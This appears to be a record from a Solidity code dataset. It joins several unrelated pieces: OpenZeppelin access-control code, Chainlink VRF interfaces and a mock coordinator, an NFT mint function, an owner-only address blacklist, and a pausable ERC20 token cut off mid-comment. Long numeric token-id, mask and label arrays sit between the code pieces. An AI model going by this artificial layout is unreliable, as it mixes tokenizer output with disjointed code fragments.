(bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface VRFCoordinatorV2Interface { /** * @notice Get configuration relevant for making requests * @return minimumRequestConfirmations global min for request confirmations * @return maxGasLimit global max for request gas limit * @return s_provingKeyHashes list of registered key hashes */ function getRequestConfig() external view returns ( uint16, uint32, bytes32[] memory ); /** * @notice Request a set of random words. * @param keyHash - Corresponds to a particular oracle job which uses * that key for generating the VRF proof. Different keyHash's have different gas price * ceilings, so you can select a specific one to bound your maximum per request cost. * @param subId - The ID of the VRF subscription. Must be funded * with the minimum subscription balance required for the selected keyHash. * @param minimumRequestConfirmations - How many blocks you'd like the * oracle to wait before responding to the request. See SECURITY CONSIDERATIONS * for why you may want to request more. The acceptable range is * [minimumRequestBlockConfirmations, 200]. * @param callbackGasLimit - How much gas you'd like to receive in your * fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords * may be slightly less than this amount because of gas used calling the function * (argument decoding etc.), so you may need to request slightly more than you expect * to have inside fulfillRandomWords. The acceptable range is * [0, maxGasLimit] * @param numWords - The number of uint256 random values you'd like to receive * in your fulfillRandomWords callback. Note these numbers are expanded in a * secure way by the VRFCoordinator from a single random value supplied by the oracle. * @return requestId - A unique identifier of the request. Can be used to match * a request to a response in fulfillRandomWords. */ function requestRandomWords( bytes32 keyHash, uint64 subId, uint16 minimumRequestConfirmations, uint32 callbackGasLimit, uint32 numWords ) external returns (uint256 requestId); /** * @notice Create a VRF subscription. * @return subId - A unique subscription id. * @dev You can manage the consumer set dynamically with addConsumer/removeConsumer. * @dev Note to fund the subscription, use transferAndCall. For example * @dev LINKTOKEN.transferAndCall( * @dev address(COORDINATOR), * @dev amount, * @dev abi.encode(subId)); */ function createSubscription() external returns (uint64 subId); /** * @notice Get a VRF subscription. * @param subId - ID of the subscription * @return balance - LINK balance of the subscription in juels. * @return reqCount - number of requests for this subscription, determines fee tier. * @return owner - owner of the subscription. * @return consumers - list of consumer address which are able to use this subscription. */ function getSubscription(uint64 subId) external view returns ( uint96 balance, uint64 reqCount, address owner, address[] memory consumers ); /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @param newOwner - proposed new owner of the subscription */ function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner) external; /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @dev will revert if original owner of subId has * not requested that msg.sender become the new owner. */ function acceptSubscriptionOwnerTransfer(uint64 subId) external; /** * @notice Add a consumer to a VRF subscription. * @param subId - ID of the subscription * @param consumer - New consumer which can use the subscription */ function addConsumer(uint64 subId, address consumer) external; /** * @notice Remove a consumer from a VRF subscription. * @param subId - ID of the subscription * @param consumer - Consumer to remove from the subscription */ function removeConsumer(uint64 subId, address consumer) external; /** * @notice Cancel a subscription * @param subId - ID of the subscription * @param to - Where to send the remaining LINK to */ function cancelSubscription(uint64 subId, address to) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. It ensures 2 things: * @dev 1. The fulfillment came from the VRFCoordinator * @dev 2. The consumer contract implements fulfillRandomWords. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash). Create subscription, fund it * @dev and your consumer contract as a consumer of it (see VRFCoordinatorInterface * @dev subscription management functions). * @dev Call requestRandomWords(keyHash, subId, minimumRequestConfirmations, * @dev callbackGasLimit, numWords), * @dev see (VRFCoordinatorInterface for a description of the arguments). * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomWords method. * * @dev The randomness argument to fulfillRandomWords is a set of random words * @dev generated from your requestId and the blockHash of the request. * * @dev If your contract could have concurrent requests open, you can use the * @dev requestId returned from requestRandomWords to track which response is associated * @dev with which randomness request. * @dev See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously. * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. It is for this reason that * @dev that you can signal to an oracle you'd like them to wait longer before * @dev responding to the request (however this is not enforced in the contract * @dev and so remains effective only in the case of unmodified oracle software). */ abstract contract VRFConsumerBaseV2 { error OnlyCoordinatorCanFulfill(address have, address want); address private immutable vrfCoordinator; /** * @param _vrfCoordinator address of VRFCoordinator contract */ constructor(address _vrfCoordinator) { vrfCoordinator = _vrfCoordinator; } /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBaseV2 expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomWords the VRF output expanded to the requested number of words */ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal virtual; // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external { if (msg.sender != vrfCoordinator) { revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator); } fulfillRandomWords(requestId, randomWords); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // A mock for testing code that relies on VRFCoordinatorV2. pragma solidity ^0.8.0; import "../interfaces/LinkTokenInterface.sol"; import "../interfaces/VRFCoordinatorV2Interface.sol"; import "../VRFConsumerBaseV2.sol"; contract VRFCoordinatorV2Mock is VRFCoordinatorV2Interface { uint96 public immutable BASE_FEE; uint96 public immutable GAS_PRICE_LINK; error InvalidSubscription(); error InsufficientBalance(); error MustBeSubOwner(address owner); event RandomWordsRequested( bytes32 indexed keyHash, uint256 requestId, uint256 preSeed, uint64 indexed subId, uint16 minimumRequestConfirmations, uint32 callbackGasLimit, uint32 numWords, address indexed sender ); event RandomWordsFulfilled(uint256 indexed requestId, uint256 outputSeed, uint96 payment, bool success); event SubscriptionCreated(uint64 indexed subId, address owner); event SubscriptionFunded(uint64 indexed subId, uint256 oldBalance, uint256 newBalance); event SubscriptionCanceled(uint64 indexed subId, address to, uint256 amount); uint64 s_currentSubId; uint256 s_nextRequestId = 1; uint256 s_nextPreSeed = 100; struct Subscription { address owner; uint96 balance; } mapping(uint64 => Subscription) s_subscriptions; /* subId */ /* subscription */ struct Request { uint64 subId; uint32 callbackGasLimit; uint32 numWords; } mapping(uint256 => Request) s_requests; /* requestId */ /* request */ constructor(uint96 _baseFee, uint96 _gasPriceLink) { BASE_FEE = _baseFee; GAS_PRICE_LINK = _gasPriceLink; } /** * @notice fulfillRandomWords fulfills the given request, sending the random words to the supplied * @notice consumer. * * @dev This mock uses a simplified formula for calculating payment amount and gas usage, and does * @dev not account for all edge cases handled in the real VRF coordinator. When making requests * @dev against the real coordinator a small amount of additional LINK is required. * * @param _requestId the request to fulfill * @param _consumer the VRF randomness consumer to send the result to */ function fulfillRandomWords(uint256 _requestId, address _consumer) external { uint256 startGas = gasleft(); if (s_requests[_requestId].subId == 0) { revert("nonexistent request"); } Request memory req = s_requests[_requestId]; uint256[] memory words = new uint256[](req.numWords); for (uint256 i = 0; i < req.numWords; i++) { words[i] = uint256(keccak256(abi.encode(_requestId, i))); } VRFConsumerBaseV2 v; bytes memory callReq = abi.encodeWithSelector(v.rawFulfillRandomWords.selector, _requestId, words); (bool success, ) = _consumer.call{gas: req.callbackGasLimit}(callReq); uint96 payment = uint96(BASE_FEE + ((startGas - gasleft()) * GAS_PRICE_LINK)); if (s_subscriptions[req.subId].balance < payment) { revert InsufficientBalance(); } s_subscriptions[req.subId].balance -= payment; delete (s_requests[_requestId]); emit RandomWordsFulfilled(_requestId, _requestId, payment, success); } /** * @notice fundSubscription allows funding a subscription with an arbitrary amount for testing. * * @param _subId the subscription to fund * @param _amount the amount to fund */ function fundSubscription(uint64 _subId, uint96 _amount) public { if (s_subscriptions[_subId].owner == address(0)) { revert InvalidSubscription(); } uint96 oldBalance = s_subscriptions[_subId].balance; s_subscriptions[_subId].balance += _amount; emit SubscriptionFunded(_subId, oldBalance, oldBalance + _amount); } function requestRandomWords( bytes32 _keyHash, uint64 _subId, uint16 _minimumRequestConfirmations, uint32 _callbackGasLimit, uint32 _numWords ) external override returns (uint256) { if (s_subscriptions[_subId].owner == address(0)) { revert InvalidSubscription(); } uint256 requestId = s_nextRequestId++; uint256 preSeed = s_nextPreSeed++; s_requests[requestId] = Request({subId: _subId, callbackGasLimit: _callbackGasLimit, numWords: _numWords}); emit RandomWordsRequested( _keyHash, requestId, preSeed, _subId, _minimumRequestConfirmations, _callbackGasLimit, _numWords, msg.sender ); return requestId; } function createSubscription() external override returns (uint64 _subId) { s_currentSubId++; s_subscriptions[s_currentSubId] = Subscription({owner: msg.sender, balance: 0}); emit SubscriptionCreated(s_currentSubId, msg.sender); return s_currentSubId; } function getSubscription(uint64 _subId) external view override returns ( uint96 balance, uint64 reqCount, address owner, address[] memory consumers ) { if (s_subscriptions[_subId].owner == address(0)) { revert InvalidSubscription(); } return (s_subscriptions[_subId].balance, 0, s_subscriptions[_subId].owner, new address[](0)); } function cancelSubscription(uint64 _subId, address _to) external override onlySubOwner(_subId) { emit SubscriptionCanceled(_subId, _to, s_subscriptions[_subId].balance); delete (s_subscriptions[_subId]); } modifier onlySubOwner(uint64 _subId) { address owner = s_subscriptions[_subId].owner; if (owner == address(0)) { revert InvalidSubscription(); } if (msg.sender != owner) { revert MustBeSubOwner(owner); } _; } function getRequestConfig() external pure override returns ( uint16, uint32, bytes32[] memory ) { return (3, 2000000, new bytes32[](0)); } function addConsumer(uint64 _subId, address _consumer) external pure override { revert("not implemented"); } function removeConsumer(uint64 _subId, address _consumer) external pure override { revert("not implemented"); } function requestSubscriptionOwnerTransfer(uint64 _subId, address _newOwner) external pure override { revert("not implemented"); } function acceptSubscriptionOwnerTransfer(uint64 _subId) external pure override { revert("not implemented"); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@chainlink/contracts/src/v0.8/mocks/VRFCoordinatorV2Mock.sol";
publicfree mint of 1 with 833 spotsWL mint of 1, 2, or 3 addresses whitelistedpublic mint
function mint(uint8 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused, "contract is paused"); require(_mintAmount <= maxMintAmount, "Exceeded maximum NFT purchase"); if (mintState == 1){ require(supply + _mintAmount <= 836, "Total Free supply exceeded!"); require(addressFreeMintsAvailable[msg.sender] >= _mintAmount , "Max NFTs exceeded"); addressFreeMintsAvailable[msg.sender] -= _mintAmount; } else if (mintState == 2){ require(supply + _mintAmount <= 4436, "Total whitelist supply exceeded!"); require(addressWLMintsAvailable[msg.sender] >= _mintAmount , "Max NFTs exceeded"); addressWLMintsAvailable[msg.sender] -= _mintAmount; } else if (mintState ==3){ require(supply + _mintAmount <= 5555); } else { assert(false); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } }
1,541,570
[ 1, 482, 9156, 312, 474, 434, 404, 598, 1725, 3707, 1694, 6968, 59, 48, 312, 474, 434, 404, 16, 576, 16, 578, 890, 6138, 26944, 482, 312, 474, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 312, 474, 12, 11890, 28, 389, 81, 474, 6275, 13, 1071, 8843, 429, 288, 203, 565, 2254, 5034, 14467, 273, 2078, 3088, 1283, 5621, 203, 565, 2583, 12, 5, 8774, 3668, 16, 315, 16351, 353, 17781, 8863, 203, 565, 2583, 24899, 81, 474, 6275, 1648, 943, 49, 474, 6275, 16, 315, 10069, 4207, 423, 4464, 23701, 8863, 203, 203, 565, 309, 261, 81, 474, 1119, 422, 404, 15329, 203, 1850, 2583, 12, 2859, 1283, 397, 389, 81, 474, 6275, 1648, 1725, 5718, 16, 315, 5269, 15217, 14467, 12428, 4442, 1769, 203, 1850, 2583, 12, 2867, 9194, 49, 28142, 5268, 63, 3576, 18, 15330, 65, 1545, 389, 81, 474, 6275, 269, 315, 2747, 423, 4464, 87, 12428, 8863, 203, 1850, 1758, 9194, 49, 28142, 5268, 63, 3576, 18, 15330, 65, 3947, 389, 81, 474, 6275, 31, 203, 565, 289, 203, 203, 565, 469, 309, 261, 81, 474, 1119, 422, 576, 15329, 203, 1850, 2583, 12, 2859, 1283, 397, 389, 81, 474, 6275, 1648, 13291, 5718, 16, 315, 5269, 10734, 14467, 12428, 4442, 1769, 203, 1850, 2583, 12, 2867, 59, 17063, 28142, 5268, 63, 3576, 18, 15330, 65, 1545, 389, 81, 474, 6275, 269, 315, 2747, 423, 4464, 87, 12428, 8863, 203, 1850, 1758, 59, 17063, 28142, 5268, 63, 3576, 18, 15330, 65, 3947, 389, 81, 474, 6275, 31, 203, 565, 289, 203, 203, 565, 469, 309, 261, 81, 474, 1119, 422, 23, 15329, 203, 1850, 2583, 12, 2859, 1283, 397, 389, 81, 474, 6275, 1648, 1381, 2539, 25, 1769, 203, 565, 289, 203, 2 ]
./partial_match/1/0xEdbB26179f62D9dE496efB9bBAC5834f6C45BC2b/sources/HumongousToken.sol
DISABLED AFTER RENOUNCING OWNERSHIP
function blacklist(address _address, bool _isBlacklisting) external onlyOwner { blacklists[_address] = _isBlacklisting; }
4,174,768
[ 1, 24493, 18651, 534, 1157, 51, 21163, 1360, 531, 22527, 20101, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11709, 12, 2867, 389, 2867, 16, 1426, 389, 291, 13155, 21228, 13, 3903, 1338, 5541, 288, 203, 3639, 7721, 9772, 63, 67, 2867, 65, 273, 389, 291, 13155, 21228, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.20; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { address public saleAgent; address public partner; modifier onlyAdmin() { require(msg.sender == owner || msg.sender == saleAgent || msg.sender == partner); _; } function setSaleAgent(address newSaleAgent) onlyOwner public { require(newSaleAgent != address(0)); saleAgent = newSaleAgent; } function setPartner(address newPartner) onlyOwner public { require(newPartner != address(0)); partner = newPartner; } event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Pausable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 public storageTime = 1522749600; // 04/03/2018 @ 10:00am (UTC) modifier checkStorageTime() { require(now >= storageTime); _; } modifier onlyPayloadSize(uint256 numwords) { assert(msg.data.length >= numwords * 32 + 4); _; } function setStorageTime(uint256 _time) public onlyOwner { storageTime = _time; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) whenNotPaused checkStorageTime returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens 